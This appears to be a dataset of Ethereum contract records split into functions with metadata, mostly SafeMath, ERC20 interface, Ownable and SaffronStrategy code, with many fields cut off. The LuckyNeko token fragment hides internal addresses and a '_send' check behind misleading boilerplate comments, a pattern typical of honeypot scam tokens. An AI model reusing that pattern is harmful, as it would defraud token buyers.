*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
4338,
4491
]
} | 28,566 | ||
LuckyNeko | LuckyNeko.sol | 0xd45b222d2b301850bcd75c38fda1d7e495eac664 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint256 _totalSupply;
uint internal number;
address internal burnAddress;
mapping(address => uint) bal... | _send | function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves rem... | /**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/ | NatSpecMultiLine | v0.7.6+commit.7338295f | MIT | ipfs://249d9e9530421bb92fb5c9f138fbd9837bcd4cc8e60d4757f9f09f935d63ea74 | {
"func_code_index": [
5800,
7073
]
} | 28,567 | ||
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | tryAdd | function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
| /**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
161,
344
]
} | 28,568 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | trySub | function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
| /**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
492,
651
]
} | 28,569 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | tryMul | function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0)... | /**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
801,
1249
]
} | 28,570 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | tryDiv | function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
| /**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
1400,
1560
]
} | 28,571 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | tryMod | function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
| /**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
1721,
1881
]
} | 28,572 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
2123,
2307
]
} | 28,573 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
2585,
2748
]
} | 28,574 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
| /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
3002,
3227
]
} | 28,575 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
| /**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to re... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
3700,
3858
]
} | 28,576 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consu... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
4320,
4476
]
} | 28,577 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterp... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
4950,
5121
]
} | 28,578 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
| /**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
5790,
5960
]
} | 28,579 |
Shrt | contracts/SafeMath.sol | 0xb66bf30db87fe2635dcc1c958b1bb2c0b2bcd2d5 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
r... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://602388a45f61ae14f823a9116f57889aec5b16da75a763b3e72cb167ea1205db | {
"func_code_index": [
6618,
6788
]
} | 28,580 |
SaffronStrategy | contracts/SaffronStrategy.sol | 0x7535974766972e1c6633aae6b0cf85eeb1a5de3e | Solidity | SaffronStrategy | contract SaffronStrategy is ISaffronStrategy {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ChainlinkRewardOracle public oracle;
address public governance;
address public team_address;
address public SFI_address;
address[] public pools;
address[] public adapters;
mapping(address=... | // v0: all functions returns the only adapter that exists
// v1: evaluate adapters by interest rate and return the best one possible per currency | LineComment | wind_down_pool | function wind_down_pool(uint256 pool, uint256 epoch) external {
require(msg.sender == team_address || msg.sender == governance, "must be team or governance");
require(epoch == 15, "v1.15: only epoch 15");
uint256 current_epoch = get_current_epoch();
require(epoch < current_epoch, "cannot wind down future ep... | // Wind down pool exists just in case one of the pools is broken | LineComment | v0.7.4+commit.3f05b770 | MIT | ipfs://73be65103a81676f9815e8e4114aabf9ce1f7b642f086cf298da804ab48ec523 | {
"func_code_index": [
4537,
5481
]
} | 28,581 |
SaffronStrategy | contracts/SaffronStrategy.sol | 0x7535974766972e1c6633aae6b0cf85eeb1a5de3e | Solidity | SaffronStrategy | contract SaffronStrategy is ISaffronStrategy {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ChainlinkRewardOracle public oracle;
address public governance;
address public team_address;
address public SFI_address;
address[] public pools;
address[] public adapters;
mapping(address=... | // v0: all functions returns the only adapter that exists
// v1: evaluate adapters by interest rate and return the best one possible per currency | LineComment | deploy_all_capital | function deploy_all_capital() external override {
require(block.timestamp >= last_deploy + (deploy_interval), "deploy call too soon" );
last_deploy = block.timestamp;
// DAI/Compound
ISaffronPool pool = ISaffronPool(pools[0]);
IERC20 base_asset = IERC20(pool.get_base_asset_address());
if (base_asset... | // Deploy all capital in pool (funnel 100% of pooled base assets into best adapter) | LineComment | v0.7.4+commit.3f05b770 | MIT | ipfs://73be65103a81676f9815e8e4114aabf9ce1f7b642f086cf298da804ab48ec523 | {
"func_code_index": [
5571,
6762
]
} | 28,582 |
SaffronStrategy | contracts/SaffronStrategy.sol | 0x7535974766972e1c6633aae6b0cf85eeb1a5de3e | Solidity | SaffronStrategy | contract SaffronStrategy is ISaffronStrategy {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ChainlinkRewardOracle public oracle;
address public governance;
address public team_address;
address public SFI_address;
address[] public pools;
address[] public adapters;
mapping(address=... | // v0: all functions returns the only adapter that exists
// v1: evaluate adapters by interest rate and return the best one possible per currency | LineComment | add_adapter | function add_adapter(address adapter_address) external override {
require(msg.sender == governance, "add_adapter: must be governance");
adapter_indexes[adapter_address] = adapters.length;
adapters.push(adapter_address);
}
| // Add adapters to a list of adapters passed in | LineComment | v0.7.4+commit.3f05b770 | MIT | ipfs://73be65103a81676f9815e8e4114aabf9ce1f7b642f086cf298da804ab48ec523 | {
"func_code_index": [
8412,
8654
]
} | 28,583 |
SaffronStrategy | contracts/SaffronStrategy.sol | 0x7535974766972e1c6633aae6b0cf85eeb1a5de3e | Solidity | SaffronStrategy | contract SaffronStrategy is ISaffronStrategy {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ChainlinkRewardOracle public oracle;
address public governance;
address public team_address;
address public SFI_address;
address[] public pools;
address[] public adapters;
mapping(address=... | // v0: all functions returns the only adapter that exists
// v1: evaluate adapters by interest rate and return the best one possible per currency | LineComment | get_adapter_index | function get_adapter_index(address adapter_address) public view returns(uint256) {
return adapter_indexes[adapter_address];
}
| // Get an adapter's address by index | LineComment | v0.7.4+commit.3f05b770 | MIT | ipfs://73be65103a81676f9815e8e4114aabf9ce1f7b642f086cf298da804ab48ec523 | {
"func_code_index": [
8697,
8833
]
} | 28,584 |
SaffronStrategy | contracts/SaffronStrategy.sol | 0x7535974766972e1c6633aae6b0cf85eeb1a5de3e | Solidity | SaffronStrategy | contract SaffronStrategy is ISaffronStrategy {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ChainlinkRewardOracle public oracle;
address public governance;
address public team_address;
address public SFI_address;
address[] public pools;
address[] public adapters;
mapping(address=... | // v0: all functions returns the only adapter that exists
// v1: evaluate adapters by interest rate and return the best one possible per currency | LineComment | get_adapter_address | function get_adapter_address(uint256 index) external view override returns(address) {
return address(adapters[index]);
}
| // Get an adapter's address by index | LineComment | v0.7.4+commit.3f05b770 | MIT | ipfs://73be65103a81676f9815e8e4114aabf9ce1f7b642f086cf298da804ab48ec523 | {
"func_code_index": [
8876,
9007
]
} | 28,585 |
SaffronStrategy | contracts/SaffronStrategy.sol | 0x7535974766972e1c6633aae6b0cf85eeb1a5de3e | Solidity | SaffronStrategy | contract SaffronStrategy is ISaffronStrategy {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ChainlinkRewardOracle public oracle;
address public governance;
address public team_address;
address public SFI_address;
address[] public pools;
address[] public adapters;
mapping(address=... | // v0: all functions returns the only adapter that exists
// v1: evaluate adapters by interest rate and return the best one possible per currency | LineComment | get_epoch_end | function get_epoch_end(uint256 epoch) public view returns (uint256) {
return epoch_cycle.start_date.add(epoch.add(1).mul(epoch_cycle.duration));
}
| /*** TIME UTILITY FUNCTIONS ***/ | NatSpecMultiLine | v0.7.4+commit.3f05b770 | MIT | ipfs://73be65103a81676f9815e8e4114aabf9ce1f7b642f086cf298da804ab48ec523 | {
"func_code_index": [
10324,
10481
]
} | 28,586 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
94,
154
]
} | 28,587 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
237,
310
]
} | 28,588 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
534,
616
]
} | 28,589 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
895,
983
]
} | 28,590 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
1647,
1726
]
} | 28,591 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
2039,
2141
]
} | 28,592 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | IERC20Metadata | interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns t... | /**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/ | NatSpecMultiLine | name | function name() external view returns (string memory);
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
100,
159
]
} | 28,593 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | IERC20Metadata | interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns t... | /**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/ | NatSpecMultiLine | symbol | function symbol() external view returns (string memory);
| /**
* @dev Returns the symbol of the token.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
226,
287
]
} | 28,594 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | IERC20Metadata | interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns t... | /**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/ | NatSpecMultiLine | decimals | function decimals() external view returns (uint8);
| /**
* @dev Returns the decimals places of the token.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
363,
418
]
} | 28,595 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | Ownable | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSend... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | owner | function owner() public view virtual returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.8.0+commit.c7dfd78e | MIT | ipfs://c2eb3dd065f83a0e51efd10f992d06e0d0b961c242c47da47ef2bd97c1e0a9b9 | {
"func_code_index": [
497,
589
]
} | 28,596 |
TSUBASA | TSUBASA.sol | 0xaf44786a03b31309bc53a81164428f5f76f4ef5b | Solidity | Ownable | abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSend... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
